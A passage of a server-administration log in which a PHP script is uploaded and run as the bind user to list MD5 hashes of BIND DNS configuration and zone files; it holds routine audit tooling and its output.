MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:57:01: Establishing a connection
2026-04-23 12:57:01: 

PUT: /tmp/pkp619839

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:57:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp619839; rm /tmp/pkp619839'

2026-04-23 12:57:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:57:04: Establishing a connection
2026-04-23 12:57:04: 

PUT: /tmp/pkp823925

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
